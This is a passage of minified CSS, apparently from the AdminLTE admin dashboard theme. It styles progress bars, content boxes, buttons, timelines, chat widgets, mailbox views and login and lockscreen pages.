0,transparent)}.progress-bar-green,.progress-bar-success{background-color:#00a65a}.progress-striped .progress-bar-green,.progress-striped .progress-bar-success{background-image:-webkit-linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 0,transparent 50%,hsla(0,0%,100%,.15) 0,hsla(0,0%,100%,.15) 75%,transparent 0,transparent);background-image:-o-linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 25%,transparent 50%,hsla(0,0%,100%,.15) 50%,hsla(0,0%,100%,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 0,transparent 50%,hsla(0,0%,100%,.15) 0,hsla(0,0%,100%,.15) 75%,transparent 0,transparent)}.progress-bar-aqua,.progress-bar-info{background-color:#00c0ef}.progress-striped .progress-bar-aqua,.progress-striped .progress-bar-info{background-image:-webkit-linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 0,transparent 50%,hsla(0,0%,100%,.15) 0,hsla(0,0%,100%,.15) 75%,transparent 0,transparent);background-image:-o-linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 25%,transparent 50%,hsla(0,0%,100%,.15) 50%,hsla(0,0%,100%,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 0,transparent 50%,hsla(0,0%,100%,.15) 0,hsla(0,0%,100%,.15) 75%,transparent 0,transparent)}.progress-bar-warning,.progress-bar-yellow{background-color:#f39c12}.progress-striped .progress-bar-warning,.progress-striped .progress-bar-yellow{background-image:-webkit-linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 0,transparent 50%,hsla(0,0%,100%,.15) 0,hsla(0,0%,100%,.15) 75%,transparent 0,transparent);background-image:-o-linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 25%,transparent 50%,hsla(0,0%,100%,.15) 50%,hsla(0,0%,100%,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 0,transparent 50%,hsla(0,0%,100%,.15) 0,hsla(0,0%,100%,.15) 75%,transparent 0,transparent)}.progress-bar-danger,.progress-bar-red{background-color:#dd4b39}.progress-striped .progress-bar-danger,.progress-striped .progress-bar-red{background-image:-webkit-linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 0,transparent 50%,hsla(0,0%,100%,.15) 0,hsla(0,0%,100%,.15) 75%,transparent 0,transparent);background-image:-o-linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 25%,transparent 50%,hsla(0,0%,100%,.15) 50%,hsla(0,0%,100%,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 0,transparent 50%,hsla(0,0%,100%,.15) 0,hsla(0,0%,100%,.15) 75%,transparent 0,transparent)}.small-box{border-radius:2px;position:relative;display:block;margin-bottom:20px;box-shadow:0 1px 1px rgba(0,0,0,.1)}.small-box>.inner{padding:10px}.small-box>.small-box-footer{position:relative;text-align:center;padding:3px 0;color:#fff;color:hsla(0,0%,100%,.8);display:block;z-index:10;background:rgba(0,0,0,.1);text-decoration:none}.small-box>.small-box-footer:hover{color:#fff;background:rgba(0,0,0,.15)}.small-box h3{font-size:38px;font-weight:700;margin:0 0 10px;white-space:nowrap;padding:0}.small-box p{font-size:15px}.small-box p>small{display:block;color:#f9f9f9;font-size:13px;margin-top:5px}.small-box h3,.small-box p{z-index:5}.small-box .icon{-webkit-transition:all .3s linear;-o-transition:all .3s linear;transition:all .3s linear;position:absolute;top:-10px;right:10px;z-index:0;font-size:90px;color:rgba(0,0,0,.15)}.small-box:hover{text-decoration:none;color:#f9f9f9}.small-box:hover .icon{font-size:95px}@media (max-width:767px){.small-box{text-align:center}.small-box .icon{display:none}.small-box p{font-size:12px}}.box{position:relative;border-radius:3px;background:#fff;border-top:3px solid #d2d6de;margin-bottom:20px;width:100%;box-shadow:0 1px 1px rgba(0,0,0,.1)}.box.box-primary{border-top-color:#3c8dbc}.box.box-info{border-top-color:#00c0ef}.box.box-danger{border-top-color:#dd4b39}.box.box-warning{border-top-color:#f39c12}.box.box-success{border-top-color:#00a65a}.box.box-default{border-top-color:#d2d6de}.box.collapsed-box .box-body,.box.collapsed-box .box-footer{display:none}.box .nav-stacked>li{border-bottom:1px solid #f4f4f4;margin:0}.box .nav-stacked>li:last-of-type{border-bottom:none}.box.height-control .box-body{max-height:300px;overflow:auto}.box .border-right{border-right:1px solid #f4f4f4}.box .border-left{border-left:1px solid #f4f4f4}.box.box-solid{border-top:0}.box.box-solid>.box-header .btn.btn-default{background:transparent}.box.box-solid>.box-header .btn:hover,.box.box-solid>.box-header a:hover{background:rgba(0,0,0,.1)}.box.box-solid.box-default{border:1px solid #d2d6de}.box.box-solid.box-default>.box-header{color:#444;background:#d2d6de;background-color:#d2d6de}.box.box-solid.box-default>.box-header .btn,.box.box-solid.box-default>.box-header a{color:#444}.box.box-solid.box-primary{border:1px solid #3c8dbc}.box.box-solid.box-primary>.box-header{color:#fff;background:#3c8dbc;background-color:#3c8dbc}.box.box-solid.box-primary>.box-header .btn,.box.box-solid.box-primary>.box-header a{color:#fff}.box.box-solid.box-info{border:1px solid #00c0ef}.box.box-solid.box-info>.box-header{color:#fff;background:#00c0ef;background-color:#00c0ef}.box.box-solid.box-info>.box-header .btn,.box.box-solid.box-info>.box-header a{color:#fff}.box.box-solid.box-danger{border:1px solid #dd4b39}.box.box-solid.box-danger>.box-header{color:#fff;background:#dd4b39;background-color:#dd4b39}.box.box-solid.box-danger>.box-header .btn,.box.box-solid.box-danger>.box-header a{color:#fff}.box.box-solid.box-warning{border:1px solid #f39c12}.box.box-solid.box-warning>.box-header{color:#fff;background:#f39c12;background-color:#f39c12}.box.box-solid.box-warning>.box-header .btn,.box.box-solid.box-warning>.box-header a{color:#fff}.box.box-solid.box-success{border:1px solid #00a65a}.box.box-solid.box-success>.box-header{color:#fff;background:#00a65a;background-color:#00a65a}.box.box-solid.box-success>.box-header .btn,.box.box-solid.box-success>.box-header a{color:#fff}.box.box-solid>.box-header>.box-tools .btn{border:0;box-shadow:none}.box.box-solid[class*=bg]>.box-header{color:#fff}.box .box-group>.box{margin-bottom:5px}.box .knob-label{text-align:center;color:#333;font-weight:100;font-size:12px;margin-bottom:.3em}.box>.loading-img,.box>.overlay,.overlay-wrapper>.loading-img,.overlay-wrapper>.overlay{position:absolute;top:0;left:0;width:100%;height:100%}.box .overlay,.overlay-wrapper .overlay{z-index:50;background:hsla(0,0%,100%,.7);border-radius:3px}.box .overlay>.fa,.overlay-wrapper .overlay>.fa{position:absolute;top:50%;left:50%;margin-left:-15px;margin-top:-15px;color:#000;font-size:30px}.box .overlay.dark,.overlay-wrapper .overlay.dark{background:rgba(0,0,0,.5)}.box-body:after,.box-body:before,.box-footer:after,.box-footer:before,.box-header:after,.box-header:before{content:" ";display:table}.box-body:after,.box-footer:after,.box-header:after{clear:both}.box-header{color:#444;display:block;padding:10px;position:relative}.box-header.with-border{border-bottom:1px solid #f4f4f4}.collapsed-box .box-header.with-border{border-bottom:none}.box-header .box-title,.box-header>.fa,.box-header>.glyphicon,.box-header>.ion{display:inline-block;font-size:18px;margin:0;line-height:1}.box-header>.fa,.box-header>.glyphicon,.box-header>.ion{margin-right:5px}.box-header>.box-tools{float:right;margin-top:-5px;margin-bottom:-5px}.box-header>.box-tools [data-toggle=tooltip]{position:relative}.box-header>.box-tools.pull-right .dropdown-menu{right:0;left:auto}.box-header>.box-tools .dropdown-menu>li>a{color:#444!important}.btn-box-tool{padding:5px;font-size:12px;background:transparent;color:#97a0b3}.btn-box-tool:hover,.open .btn-box-tool{color:#606c84}.btn-box-tool.btn:active{box-shadow:none}.box-body{border-top-left-radius:0;border-top-right-radius:0;border-bottom-right-radius:3px;border-bottom-left-radius:3px;padding:10px}.no-header .box-body{border-top-right-radius:3px;border-top-left-radius:3px}.box-body>.table{margin-bottom:0}.box-body .fc{margin-top:5px}.box-body .full-width-chart{margin:-19px}.box-body.no-padding .full-width-chart{margin:-9px}.box-body .box-pane{border-top-left-radius:0;border-top-right-radius:0;border-bottom-right-radius:0;border-bottom-left-radius:3px}.box-body .box-pane-right{border-bottom-left-radius:0}.box-body .box-pane-right,.box-footer{border-top-left-radius:0;border-top-right-radius:0;border-bottom-right-radius:3px}.box-footer{border-bottom-left-radius:3px;border-top:1px solid #f4f4f4;padding:10px;background-color:#fff}.chart-legend{margin:10px 0}@media (max-width:991px){.chart-legend>li{float:left;margin-right:10px}}.box-comments{background:#f7f7f7}.box-comments .box-comment{padding:8px 0;border-bottom:1px solid #eee}.box-comments .box-comment:after,.box-comments .box-comment:before{content:" ";display:table}.box-comments .box-comment:after{clear:both}.box-comments .box-comment:last-of-type{border-bottom:0}.box-comments .box-comment:first-of-type{padding-top:0}.box-comments .box-comment img{float:left}.box-comments .comment-text{margin-left:40px;color:#555}.box-comments .username{color:#444;display:block;font-weight:600}.box-comments .text-muted{font-weight:400;font-size:12px}.todo-list{margin:0;padding:0;list-style:none;overflow:auto}.todo-list>li{border-radius:2px;padding:10px;background:#f4f4f4;margin-bottom:2px;border-left:2px solid #e6e7e8;color:#444}.todo-list>li:last-of-type{margin-bottom:0}.todo-list>li>input[type=checkbox]{margin:0 10px 0 5px}.todo-list>li .text{display:inline-block;margin-left:5px;font-weight:600}.todo-list>li .label{margin-left:10px;font-size:9px}.todo-list>li .tools{display:none;float:right;color:#dd4b39}.todo-list>li .tools>.fa,.todo-list>li .tools>.glyphicon,.todo-list>li .tools>.ion{margin-right:5px;cursor:pointer}.todo-list>li:hover .tools{display:inline-block}.todo-list>li.done{color:#999}.todo-list>li.done .text{text-decoration:line-through;font-weight:500}.todo-list>li.done .label{background:#d2d6de!important}.todo-list .danger{border-left-color:#dd4b39}.todo-list .warning{border-left-color:#f39c12}.todo-list .info{border-left-color:#00c0ef}.todo-list .success{border-left-color:#00a65a}.todo-list .primary{border-left-color:#3c8dbc}.todo-list .handle{display:inline-block;cursor:move;margin:0 5px}.chat{padding:5px 20px 5px 10px}.chat .item{margin-bottom:10px}.chat .item:after,.chat .item:before{content:" ";display:table}.chat .item:after{clear:both}.chat .item>img{width:40px;height:40px;border:2px solid transparent;border-radius:50%}.chat .item>.online{border:2px solid #00a65a}.chat .item>.offline{border:2px solid #dd4b39}.chat .item>.message{margin-left:55px;margin-top:-40px}.chat .item>.message>.name{display:block;font-weight:600}.chat .item>.attachment{border-radius:3px;background:#f4f4f4;margin-left:65px;margin-right:15px;padding:10px}.chat .item>.attachment>h4{margin:0 0 5px;font-weight:600;font-size:14px}.chat .item>.attachment>.filename,.chat .item>.attachment>p{font-weight:600;font-size:13px;font-style:italic;margin:0}.chat .item>.attachment:after,.chat .item>.attachment:before{content:" ";display:table}.chat .item>.attachment:after{clear:both}.box-input{max-width:200px}.modal .panel-body{color:#444}.info-box{display:block;min-height:90px;background:#fff;width:100%;box-shadow:0 1px 1px rgba(0,0,0,.1);border-radius:2px;margin-bottom:15px}.info-box small{font-size:14px}.info-box .progress{background:rgba(0,0,0,.2);margin:5px -10px;height:2px}.info-box .progress,.info-box .progress .progress-bar{border-radius:0}.info-box .progress .progress-bar{background:#fff}.info-box-icon{border-top-left-radius:2px;border-top-right-radius:0;border-bottom-right-radius:0;border-bottom-left-radius:2px;display:block;float:left;height:90px;width:90px;text-align:center;font-size:45px;line-height:90px;background:rgba(0,0,0,.2)}.info-box-icon>img{max-width:100%}.info-box-content{padding:5px 10px;margin-left:90px}.info-box-number{display:block;font-weight:700;font-size:18px}.info-box-text,.progress-description{display:block;font-size:14px;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.info-box-text{text-transform:uppercase}.info-box-more{display:block}.progress-description{margin:0}.timeline{position:relative;margin:0 0 30px;padding:0;list-style:none}.timeline:before{content:"";position:absolute;top:0;bottom:0;width:4px;background:#ddd;left:31px;margin:0;border-radius:2px}.timeline>li{position:relative;margin-right:10px;margin-bottom:15px}.timeline>li:after,.timeline>li:before{content:" ";display:table}.timeline>li:after{clear:both}.timeline>li>.timeline-item{-webkit-box-shadow:0 1px 1px rgba(0,0,0,.1);box-shadow:0 1px 1px rgba(0,0,0,.1);border-radius:3px;margin-top:0;background:#fff;color:#444;margin-left:60px;margin-right:15px;padding:0;position:relative}.timeline>li>.timeline-item>.time{color:#999;float:right;padding:10px;font-size:12px}.timeline>li>.timeline-item>.timeline-header{margin:0;color:#555;border-bottom:1px solid #f4f4f4;padding:10px;font-size:16px;line-height:1.1}.timeline>li>.timeline-item>.timeline-header>a{font-weight:600}.timeline>li>.timeline-item>.timeline-body,.timeline>li>.timeline-item>.timeline-footer{padding:10px}.timeline>li>.fa,.timeline>li>.glyphicon,.timeline>li>.ion{width:30px;height:30px;font-size:15px;line-height:30px;position:absolute;color:#666;background:#d2d6de;border-radius:50%;text-align:center;left:18px;top:0}.timeline>.time-label>span{font-weight:600;padding:5px;display:inline-block;background-color:#fff;border-radius:4px}.timeline-inverse>li>.timeline-item{background:#f0f0f0;border:1px solid #ddd;-webkit-box-shadow:none;box-shadow:none}.timeline-inverse>li>.timeline-item>.timeline-header{border-bottom-color:#ddd}.btn{border-radius:3px;-webkit-box-shadow:none;box-shadow:none;border:1px solid transparent}.btn.uppercase{text-transform:uppercase}.btn.btn-flat{border-radius:0;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;border-width:1px}.btn:active{-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,.125);-moz-box-shadow:inset 0 3px 5px rgba(0,0,0,.125);box-shadow:inset 0 3px 5px rgba(0,0,0,.125)}.btn:focus{outline:none}.btn.btn-file{position:relative;overflow:hidden}.btn.btn-file>input[type=file]{position:absolute;top:0;right:0;min-width:100%;min-height:100%;font-size:100px;text-align:right;opacity:0;filter:alpha(opacity=0);outline:none;background:#fff;cursor:inherit;display:block}.btn-default{background-color:#f4f4f4;color:#444;border-color:#ddd}.btn-default.hover,.btn-default:active,.btn-default:hover{background-color:#e7e7e7}.btn-primary{background-color:#3c8dbc;border-color:#367fa9}.btn-primary.hover,.btn-primary:active,.btn-primary:hover{background-color:#367fa9}.btn-success{background-color:#00a65a;border-color:#008d4c}.btn-success.hover,.btn-success:active,.btn-success:hover{background-color:#008d4c}.btn-info{background-color:#00c0ef;border-color:#00acd6}.btn-info.hover,.btn-info:active,.btn-info:hover{background-color:#00acd6}.btn-danger{background-color:#dd4b39;border-color:#d73925}.btn-danger.hover,.btn-danger:active,.btn-danger:hover{background-color:#d73925}.btn-warning{background-color:#f39c12;border-color:#e08e0b}.btn-warning.hover,.btn-warning:active,.btn-warning:hover{background-color:#e08e0b}.btn-outline{border:1px solid #fff;background:transparent;color:#fff}.btn-outline:active,.btn-outline:focus,.btn-outline:hover{color:hsla(0,0%,100%,.7);border-color:hsla(0,0%,100%,.7)}.btn-link{-webkit-box-shadow:none;box-shadow:none}.btn[class*=bg-]:hover{-webkit-box-shadow:inset 0 0 100px rgba(0,0,0,.2);box-shadow:inset 0 0 100px rgba(0,0,0,.2)}.btn-app{border-radius:3px;position:relative;padding:15px 5px;margin:0 0 10px 10px;min-width:80px;height:60px;text-align:center;color:#666;border:1px solid #ddd;background-color:#f4f4f4;font-size:12px}.btn-app>.fa,.btn-app>.glyphicon,.btn-app>.ion{font-size:20px;display:block}.btn-app:hover{background:#f4f4f4;color:#444;border-color:#aaa}.btn-app:active,.btn-app:focus{-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,.125);-moz-box-shadow:inset 0 3px 5px rgba(0,0,0,.125);box-shadow:inset 0 3px 5px rgba(0,0,0,.125)}.btn-app>.badge{position:absolute;top:-3px;right:-10px;font-size:10px;font-weight:400}.callout{border-radius:3px;margin:0 0 20px;padding:15px 30px 15px 15px;border-left:5px solid #eee}.callout a{color:#fff;text-decoration:underline}.callout a:hover{color:#eee}.callout h4{margin-top:0;font-weight:600}.callout p:last-child{margin-bottom:0}.callout .highlight,.callout code{background-color:#fff}.callout.callout-danger{border-color:#c23321}.callout.callout-warning{border-color:#c87f0a}.callout.callout-info{border-color:#0097bc}.callout.callout-success{border-color:#00733e}.alert{border-radius:3px}.alert h4{font-weight:600}.alert .icon{margin-right:10px}.alert .close{color:#000;opacity:.2;filter:alpha(opacity=20)}.alert .close:hover{opacity:.5;filter:alpha(opacity=50)}.alert a{color:#fff;text-decoration:underline}.alert-success{border-color:#008d4c}.alert-danger,.alert-error{border-color:#d73925}.alert-warning{border-color:#e08e0b}.alert-info{border-color:#00acd6}.nav>li>a:active,.nav>li>a:focus,.nav>li>a:hover{color:#444;background:#f7f7f7}.nav-pills>li>a{border-radius:0;border-top:3px solid transparent;color:#444}.nav-pills>li>a>.fa,.nav-pills>li>a>.glyphicon,.nav-pills>li>a>.ion{margin-right:5px}.nav-pills>li.active>a,.nav-pills>li.active>a:focus,.nav-pills>li.active>a:hover{border-top-color:#3c8dbc}.nav-pills>li.active>a{font-weight:600}.nav-stacked>li>a{border-radius:0;border-top:0;border-left:3px solid transparent;color:#444}.nav-stacked>li.active>a,.nav-stacked>li.active>a:hover{background:transparent;color:#444;border-top:0;border-left-color:#3c8dbc}.nav-stacked>li.header{border-bottom:1px solid #ddd;color:#777;margin-bottom:10px;padding:5px 10px;text-transform:uppercase}.nav-tabs-custom{margin-bottom:20px;background:#fff;box-shadow:0 1px 1px rgba(0,0,0,.1);border-radius:3px}.nav-tabs-custom>.nav-tabs{margin:0;border-bottom-color:#f4f4f4;border-top-right-radius:3px;border-top-left-radius:3px}.nav-tabs-custom>.nav-tabs>li{border-top:3px solid transparent;margin-bottom:-2px;margin-right:5px}.nav-tabs-custom>.nav-tabs>li.disabled>a{color:#777}.nav-tabs-custom>.nav-tabs>li>a{color:#444;border-radius:0}.nav-tabs-custom>.nav-tabs>li>a.text-muted{color:#999}.nav-tabs-custom>.nav-tabs>li>a,.nav-tabs-custom>.nav-tabs>li>a:hover{background:transparent;margin:0}.nav-tabs-custom>.nav-tabs>li>a:hover{color:#999}.nav-tabs-custom>.nav-tabs>li:not(.active)>a:active,.nav-tabs-custom>.nav-tabs>li:not(.active)>a:focus,.nav-tabs-custom>.nav-tabs>li:not(.active)>a:hover{border-color:transparent}.nav-tabs-custom>.nav-tabs>li.active{border-top-color:#3c8dbc}.nav-tabs-custom>.nav-tabs>li.active:hover>a,.nav-tabs-custom>.nav-tabs>li.active>a{background-color:#fff;color:#444}.nav-tabs-custom>.nav-tabs>li.active>a{border-top-color:transparent;border-left-color:#f4f4f4;border-right-color:#f4f4f4}.nav-tabs-custom>.nav-tabs>li:first-of-type{margin-left:0}.nav-tabs-custom>.nav-tabs>li:first-of-type.active>a{border-left-color:transparent}.nav-tabs-custom>.nav-tabs.pull-right{float:none!important}.nav-tabs-custom>.nav-tabs.pull-right>li{float:right}.nav-tabs-custom>.nav-tabs.pull-right>li:first-of-type{margin-right:0}.nav-tabs-custom>.nav-tabs.pull-right>li:first-of-type>a{border-left-width:1px}.nav-tabs-custom>.nav-tabs.pull-right>li:first-of-type.active>a{border-left-color:#f4f4f4;border-right-color:transparent}.nav-tabs-custom>.nav-tabs>li.header{line-height:35px;padding:0 10px;font-size:20px;color:#444}.nav-tabs-custom>.nav-tabs>li.header>.fa,.nav-tabs-custom>.nav-tabs>li.header>.glyphicon,.nav-tabs-custom>.nav-tabs>li.header>.ion{margin-right:5px}.nav-tabs-custom>.tab-content{background:#fff;padding:10px;border-bottom-right-radius:3px;border-bottom-left-radius:3px}.nav-tabs-custom .dropdown.open>a:active,.nav-tabs-custom .dropdown.open>a:focus{background:transparent;color:#999}.nav-tabs-custom.tab-primary>.nav-tabs>li.active{border-top-color:#3c8dbc}.nav-tabs-custom.tab-info>.nav-tabs>li.active{border-top-color:#00c0ef}.nav-tabs-custom.tab-danger>.nav-tabs>li.active{border-top-color:#dd4b39}.nav-tabs-custom.tab-warning>.nav-tabs>li.active{border-top-color:#f39c12}.nav-tabs-custom.tab-success>.nav-tabs>li.active{border-top-color:#00a65a}.nav-tabs-custom.tab-default>.nav-tabs>li.active{border-top-color:#d2d6de}.pagination>li>a{background:#fafafa;color:#666}.pagination.pagination-flat>li>a{border-radius:0!important}.products-list{list-style:none;margin:0;padding:0}.products-list>.item{border-radius:3px;-webkit-box-shadow:0 1px 1px rgba(0,0,0,.1);box-shadow:0 1px 1px rgba(0,0,0,.1);padding:10px 0;background:#fff}.products-list>.item:after,.products-list>.item:before{content:" ";display:table}.products-list>.item:after{clear:both}.products-list .product-img{float:left}.products-list .product-img img{width:50px;height:50px}.products-list .product-info{margin-left:60px}.products-list .product-title{font-weight:600}.products-list .product-description{display:block;color:#999;overflow:hidden;white-space:nowrap;text-overflow:ellipsis}.product-list-in-box>.item{-webkit-box-shadow:none;box-shadow:none;border-radius:0;border-bottom:1px solid #f4f4f4}.product-list-in-box>.item:last-of-type{border-bottom-width:0}.table>tbody>tr>td,.table>tbody>tr>th,.table>tfoot>tr>td,.table>tfoot>tr>th,.table>thead>tr>td,.table>thead>tr>th{border-top:1px solid #f4f4f4}.table>thead>tr>th{border-bottom:2px solid #f4f4f4}.table tr td .progress{margin-top:5px}.table-bordered,.table-bordered>tbody>tr>td,.table-bordered>tbody>tr>th,.table-bordered>tfoot>tr>td,.table-bordered>tfoot>tr>th,.table-bordered>thead>tr>td,.table-bordered>thead>tr>th{border:1px solid #f4f4f4}.table-bordered>thead>tr>td,.table-bordered>thead>tr>th{border-bottom-width:2px}.table.no-border,.table.no-border td,.table.no-border th{border:0}table.text-center,table.text-center td,table.text-center th{text-align:center}.table.align th{text-align:left}.table.align td{text-align:right}.label-default{background-color:#d2d6de;color:#444}.direct-chat .box-body{border-bottom-right-radius:0;border-bottom-left-radius:0;position:relative;overflow-x:hidden;padding:0}.direct-chat-messages,.direct-chat.chat-pane-open .direct-chat-contacts{-webkit-transform:translate(0);-ms-transform:translate(0);-o-transform:translate(0);transform:translate(0)}.direct-chat-messages{padding:10px;height:250px;overflow:auto}.direct-chat-msg,.direct-chat-text{display:block}.direct-chat-msg{margin-bottom:10px}.direct-chat-msg:after,.direct-chat-msg:before{content:" ";display:table}.direct-chat-msg:after{clear:both}.direct-chat-contacts,.direct-chat-messages{-webkit-transition:-webkit-transform .5s ease-in-out;-moz-transition:-moz-transform .5s ease-in-out;-o-transition:-o-transform .5s ease-in-out;transition:transform .5s ease-in-out}.direct-chat-text{border-radius:5px;position:relative;padding:5px 10px;background:#d2d6de;border:1px solid #d2d6de;margin:5px 0 0 50px;color:#444}.direct-chat-text:after,.direct-chat-text:before{position:absolute;right:100%;top:15px;border:solid transparent;border-right:solid #d2d6de;content:" ";height:0;width:0;pointer-events:none}.direct-chat-text:after{border-width:5px;margin-top:-5px}.direct-chat-text:before{border-width:6px;margin-top:-6px}.right .direct-chat-text{margin-right:50px;margin-left:0}.right .direct-chat-text:after,.right .direct-chat-text:before{right:auto;left:100%;border-right-color:transparent;border-left-color:#d2d6de}.direct-chat-img{border-radius:50%;float:left;width:40px;height:40px}.right .direct-chat-img{float:right}.direct-chat-info{display:block;margin-bottom:2px;font-size:12px}.direct-chat-name{font-weight:600}.direct-chat-timestamp{color:#999}.direct-chat-contacts-open .direct-chat-contacts{-webkit-transform:translate(0);-ms-transform:translate(0);-o-transform:translate(0);transform:translate(0)}.direct-chat-contacts{-webkit-transform:translate(101%);-ms-transform:translate(101%);-o-transform:translate(101%);transform:translate(101%);position:absolute;top:0;bottom:0;height:250px;width:100%;background:#222d32;color:#fff;overflow:auto}.contacts-list>li{border-bottom:1px solid rgba(0,0,0,.2);padding:10px;margin:0}.contacts-list>li:after,.contacts-list>li:before{content:" ";display:table}.contacts-list>li:after{clear:both}.contacts-list>li:last-of-type{border-bottom:none}.contacts-list-img{border-radius:50%;width:40px;float:left}.contacts-list-info{margin-left:45px;color:#fff}.contacts-list-name,.contacts-list-status{display:block}.contacts-list-name{font-weight:600}.contacts-list-status{font-size:12px}.contacts-list-date{color:#aaa;font-weight:400}.contacts-list-msg{color:#999}.direct-chat-danger .right>.direct-chat-text{background:#dd4b39;border-color:#dd4b39;color:#fff}.direct-chat-danger .right>.direct-chat-text:after,.direct-chat-danger .right>.direct-chat-text:before{border-left-color:#dd4b39}.direct-chat-primary .right>.direct-chat-text{background:#3c8dbc;border-color:#3c8dbc;color:#fff}.direct-chat-primary .right>.direct-chat-text:after,.direct-chat-primary .right>.direct-chat-text:before{border-left-color:#3c8dbc}.direct-chat-warning .right>.direct-chat-text{background:#f39c12;border-color:#f39c12;color:#fff}.direct-chat-warning .right>.direct-chat-text:after,.direct-chat-warning .right>.direct-chat-text:before{border-left-color:#f39c12}.direct-chat-info .right>.direct-chat-text{background:#00c0ef;border-color:#00c0ef;color:#fff}.direct-chat-info .right>.direct-chat-text:after,.direct-chat-info .right>.direct-chat-text:before{border-left-color:#00c0ef}.direct-chat-success .right>.direct-chat-text{background:#00a65a;border-color:#00a65a;color:#fff}.direct-chat-success .right>.direct-chat-text:after,.direct-chat-success .right>.direct-chat-text:before{border-left-color:#00a65a}.users-list>li{width:25%;float:left;padding:10px;text-align:center}.users-list>li img{border-radius:50%;max-width:100%;height:auto}.users-list>li>a:hover,.users-list>li>a:hover .users-list-name{color:#999}.users-list-date,.users-list-name{display:block}.users-list-name{font-weight:600;color:#444;overflow:hidden;white-space:nowrap;text-overflow:ellipsis}.users-list-date{color:#999;font-size:12px}.carousel-control.left,.carousel-control.right{background-image:none}.carousel-control>.fa{font-size:40px;position:absolute;top:50%;z-index:5;display:inline-block;margin-top:-20px}.modal{background:rgba(0,0,0,.3)}.modal-content{border-radius:0;-webkit-box-shadow:0 2px 3px rgba(0,0,0,.125);box-shadow:0 2px 3px rgba(0,0,0,.125);border:0}@media (min-width:768px){.modal-content{-webkit-box-shadow:0 2px 3px rgba(0,0,0,.125);box-shadow:0 2px 3px rgba(0,0,0,.125)}}.modal-header{border-bottom-color:#f4f4f4}.modal-footer{border-top-color:#f4f4f4}.modal-primary .modal-footer,.modal-primary .modal-header{border-color:#307095}.modal-warning .modal-footer,.modal-warning .modal-header{border-color:#c87f0a}.modal-info .modal-footer,.modal-info .modal-header{border-color:#0097bc}.modal-success .modal-footer,.modal-success .modal-header{border-color:#00733e}.modal-danger .modal-footer,.modal-danger .modal-header{border-color:#c23321}.box-widget{border:none;position:relative}.widget-user .widget-user-header{padding:20px;height:120px;border-top-right-radius:3px;border-top-left-radius:3px}.widget-user .widget-user-username{margin-top:0;margin-bottom:5px;font-size:25px;font-weight:300;text-shadow:0 1px 1px rgba(0,0,0,.2)}.widget-user .widget-user-desc{margin-top:0}.widget-user .widget-user-image{position:absolute;top:65px;left:50%;margin-left:-45px}.widget-user .widget-user-image>img{width:90px;height:auto;border:3px solid #fff}.widget-user .box-footer{padding-top:30px}.widget-user-2 .widget-user-header{padding:20px;border-top-right-radius:3px;border-top-left-radius:3px}.widget-user-2 .widget-user-username{margin-top:5px;margin-bottom:5px;font-size:25px;font-weight:300}.widget-user-2 .widget-user-desc{margin-top:0}.widget-user-2 .widget-user-desc,.widget-user-2 .widget-user-username{margin-left:75px}.widget-user-2 .widget-user-image>img{width:65px;height:auto;float:left}.treeview-menu{display:none;list-style:none;margin:0;padding:0 0 0 5px}.treeview-menu .treeview-menu{padding-left:20px}.treeview-menu>li{margin:0}.treeview-menu>li>a{padding:5px 5px 5px 15px;display:block;font-size:14px}.treeview-menu>li>a>.fa,.treeview-menu>li>a>.glyphicon,.treeview-menu>li>a>.ion{width:20px}.treeview-menu>li>a>.fa-angle-down,.treeview-menu>li>a>.fa-angle-left,.treeview-menu>li>a>.pull-right-container>.fa-angle-down,.treeview-menu>li>a>.pull-right-container>.fa-angle-left{width:auto}.treeview>ul.treeview-menu{overflow:hidden;height:auto;padding-top:0!important;padding-bottom:0!important}.treeview.menu-open>ul.treeview-menu{overflow:visible;height:auto}.mailbox-messages>.table{margin:0}.mailbox-controls{padding:5px}.mailbox-controls.with-border,.mailbox-read-info{border-bottom:1px solid #f4f4f4}.mailbox-read-info{padding:10px}.mailbox-read-info h3{font-size:20px;margin:0}.mailbox-read-info h5{margin:0;padding:5px 0 0}.mailbox-read-time{color:#999;font-size:13px}.mailbox-read-message{padding:10px}.mailbox-attachments li{float:left;width:200px;border:1px solid #eee;margin-bottom:10px;margin-right:10px}.mailbox-attachment-name{font-weight:700;color:#666}.mailbox-attachment-icon,.mailbox-attachment-info,.mailbox-attachment-size{display:block}.mailbox-attachment-info{padding:10px;background:#f4f4f4}.mailbox-attachment-size{color:#999;font-size:12px}.mailbox-attachment-icon{text-align:center;font-size:65px;color:#666;padding:20px 10px}.mailbox-attachment-icon.has-img{padding:0}.mailbox-attachment-icon.has-img>img{max-width:100%;height:auto}.lockscreen{background:#d2d6de}.lockscreen-logo{font-size:35px;text-align:center;margin-bottom:25px;font-weight:300}.lockscreen-logo a{color:#444}.lockscreen-wrapper{max-width:400px;margin:10% auto 0}.lockscreen .lockscreen-name{text-align:center;font-weight:600}.lockscreen-item{border-radius:4px;padding:0;background:#fff;position:relative;margin:10px auto 30px;width:290px}.lockscreen-image{border-radius:50%;position:absolute;left:-10px;top:-25px;background:#fff;padding:5px;z-index:10}.lockscreen-image>img{border-radius:50%;width:70px;height:70px}.lockscreen-credentials{margin-left:70px}.lockscreen-credentials .form-control{border:0}.lockscreen-credentials .btn{background-color:#fff;border:0;padding:0 10px}.lockscreen-footer{margin-top:10px}.login-logo,.register-logo{font-size:35px;text-align:center;margin-bottom:25px;font-weight:300}.login-logo a,.register-logo a{color:#444}.login-page,.register-page{height:auto;background:#d2d6de}.login-box,.register-box{width:360px;margin:7% auto}@media 